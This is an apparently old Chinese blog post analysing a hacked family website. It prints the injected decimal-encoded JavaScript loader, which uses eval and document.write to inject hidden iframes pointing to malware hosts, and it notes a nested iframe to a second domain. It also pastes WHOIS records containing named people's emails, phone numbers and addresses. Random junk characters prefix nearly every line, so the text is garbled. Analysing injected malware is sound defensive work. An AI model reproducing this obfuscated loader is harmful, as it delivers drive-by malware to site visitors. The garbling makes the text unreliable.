首发在我的博客里面，
$v'Y: y LgKS8b http://www.areway.cn/?p=175 <{NYD . h- b5 1n tkM? 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
k$-~_^4m v :+8U[x <script>t=’60,105,102,114,97,109,101,
l4mUx`! 32,115,114,99,61,104,116,116,112,58,47,47,
~6-"i0k
102,114,101,101,46,117,45,117,117,117,46,99,
u3*NO
)O 110,47,101,114,114,111,114,46,104,116,109,
:(l $^
M 32,119,105,100,116,104,61,49,48,48,32,104,
9o`7Kc/g 101,105,103,104,116,61,48,62,60,47,105,102,
Kl aZZJ 114,97,109,101,62′;
ne"?90~ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
%0NkIQ`C ,5\2C{ <script>t=’60,105,102,114,97,109,101,32,115,
t8DL 9RW' 114,99,61,104,116,116,112,58,47,47,102,114,
i[2bmd !H 101,101,46,117,45,117,117,117,46,99,110,47,
b\?7?g 101,114,114,111,114,46,104,116,109,32,119,
xBL$]> 105,100,116,104,61,49,48,48,32,104,101,105,
-3G 4vRIo 103,104,116,61,48,62,60,47,105,102,114,97,
+^4BO` 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
a/QtJwIV document.write(t);</script>
'_.q_Tf-^ SE;Tujwhqi <html xmlns=”
<'} b*wUB http://www.w3.org/1999/xhtml qY$*#*Q “>
v@fe-T&0 <head>
O }K_l1 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
-t@y\vZF, <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Q%& _On <title>首页 - 爱生活家庭网
WxVn&c\
':4}O# 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
&o* s !u 转换字符串后的大概内容是（谁点击后果自付）：
&c!j`86y* <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
j\`EUC [lNqT1%] 查询玉米u-uuu.cn的详细信息：
Lj&1K~U Domain Name: u-uuu.cn
n5Nan
ROID: 20070901s10001s64972306-cn
:DdBn. Domain Status: ok
]6t]m2~\ Registrant Organization: 王雷
k_D4'(V:b Registrant Name: 王雷
~K~b`|1 Administrative Email:
czlovexs@126.com qIbg
4uE Sponsoring Registrar: 北京万网志成科技有限公司
rU=b?D)n!w Name Server:ns.yovole.com
<+AI t Name Server:ns1.yovole.com
N5 SLF4R1 Registration Date: 2007-09-01 17:54
>~I
xyQp Expiration Date: 2008-09-01 17:54
bJQ5- *F 最后PING了一下地址 都没有什么….
AT B\^;n. Hp)X^O" 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
n7IL7? !o <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
[G{rHSK5tQ <script language=”javascript” src=”
CM%|pB/z http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script r } /yi >
V$/u 这个玉米应该有可能是木马作者的：
Em e'Gk foafau.info的详细信息：
#XTY7,@ P Access to INFO WHOIS information is provided to assist persons in
[3O^0-:6E determining the contents of a domain name registration record in the
lx \qp`w Afilias registry database. The data in this record is provided by
0U82f1ei Afilias Limited for informational purposes only, and Afilias does not
cGgM8 guarantee its accuracy. This service is intended only for query-based
_ PXG AS access. You agree that you will use this data only for lawful purposes
tcBC!_vF and that, under no circumstances will you use this data to: (a) allow,
xS6(K enable, or otherwise support the transmission by e-mail, telephone, or
aO8c h facsimile of mass unsolicited, commercial advertising or solicitations
]y3pE}R to entities other than the data recipient’s own existing customers; or
vk d[: CC (b) enable high volume, automated, electronic processes that send
B4]AFR I queries or data to the systems of Registry Operator, a Registrar, or
m#oh?@0} Afilias except as reasonably necessary to register domain names or
)W&o?VRfO modify existing registrations. All rights reserved. Afilias reserves
GWF/[ % the right to modify these terms at any time. By submitting this query,
EY+/.=$x you agree to abide by this policy.
XR*Q|4 Domain ID:D22418703-LRMS
4$yV%[j Domain Name:FOAFAU.INFO
TZ?Os4+ Created On:20-Nov-2007 16:05:42 UTC
qqnclqkw& Last Updated On:20-Nov-2007 16:05:44 UTC
hi! L\yi Expiration Date:20-Nov-2008 16:05:42 UTC
m7$8k@r Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
A2m_q>>
! Status:CLIENT DELETE PROHIBITED
^"3\i A : Status:CLIENT RENEW PROHIBITED
wL 4Z W8_ Status:CLIENT TRANSFER PROHIBITED
2R^O,Vu*W Status:CLIENT UPDATE PROHIBITED
s %eyW _ Status:TRANSFER PROHIBITED
wgCvD Registrant ID:GODA-040110615
\Sg<='/{L; Registrant Name:liu hong
TT'Ofvdc Registrant Organization:
$o]r ]#B+ Registrant Street1:beijing
:w@F?:C Registrant Street2:
^vJ"-{ Registrant Street3:
7OB%A & Registrant City:beijing
P
@zz"~f7 Registrant State/Province:
}10\K Registrant Postal Code:100000
,Pn-ZF Registrant Country:CN
C>.e+ V+': Registrant Phone:+86.860108888777
4L8z>9D Registrant Phone Ext.:
>;
aCf #q Registrant FAX:
|#{- .r6Y] Registrant FAX Ext.:
# @ 9)h Registrant Email:bbbshiji@163.com
G+0><,S Admin ID:GODA-240110615
9]"S:{KSCn Admin Name:liu hong
/\na;GI$ Admin Organization:
M70c{s`w5 Admin Street1:beijing
l0I}&,+ Admin Street2:
vt//)*(.$ Admin Street3:
_ `H.h6h Admin City:beijing
K&*iw` Admin State/Province:
z 9[[C ^C Admin Postal Code:100000
[+;qWfs B Admin Country:CN
{@?G 9UypA Admin Phone:+86.860108888777
#Mh{<gk%ax Admin Phone Ext.:
X*i/A<Y`= Admin FAX:
/ /'Tck Admin FAX Ext.:
dd]? 9 Admin Email:bbbshiji@163.com
{jjSJIV1 Billing ID:GODA-340110615
>*I N Billing Name:liu hong
rah,dVE] Billing Organization:
7W"/ N #G Billing Street1:beijing
x<)G( Xe* Billing Street2:
}^9]jSq5 Billing Street3:
l71 gf.4g Billing City:beijing
BT]ua]T+ Billing State/Province:
0o;O`/x Billing Postal Code:100000
'l~6ErBSg Billing Country:CN
Guh%eR'Wt Billing Phone:+86.860108888777
rz6uDJ" Billing Phone Ext.:
{@gAv! Billing FAX:
\#CM
<% Billing FAX Ext.:
&uv0G'"\ Billing Email:bbbshiji@163.com
U[R@x` Tech ID:GODA-140110615
2R]&v;A Tech Name:liu hong
J {`eLmTu Tech Organization:
Z`Pd2VRp Tech Street1:beijing
6SVqRD<` Tech Street2:
j Fma|y Tech Street3:
EM@ ;3.IO Tech City:beijing
n"6;\ Tech State/Province:
2#3^skj Tech Postal Code:100000
[8"oj hdV Tech Country:CN
#Z\ O}< Tech Phone:+86.860108888777
Cp#)wxi6[y Tech Phone Ext.:
FXV`9uq}Z Tech FAX:
$J.T$0pFa Tech FAX Ext.:
nU(DYHc+l Tech Email:bbbshiji@163.com
I^D0<lHl~ Name Server:NS27.DOMAINCONTROL.COM
w1r$='*I Name Server:NS28.DOMAINCONTROL.COM
d t_e Name Server:
r [s!F=^
Name Server:
'Hw4j:pS Name Server:
nBN&.+3t Name Server:
q@n^ZzTx Name Server:
AVG>_$< Name Server:
- hzj V| Name Server:
+Ng0WS_0 Name Server:
6 {}JbRNf Name Server:
HG%Z "d Name Server:
Tv5g`/e=Ej Name Server:
jij<yM8$g ;
dd Q/ 接着下载每个文件里面的代码：
S_ v(S^x6 一步一步看..
`Gd$:qV 
!g>.i` 
]u#JuX 
&.Q8Mi
aT 
ymWgf 6r< 
;;Ds 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
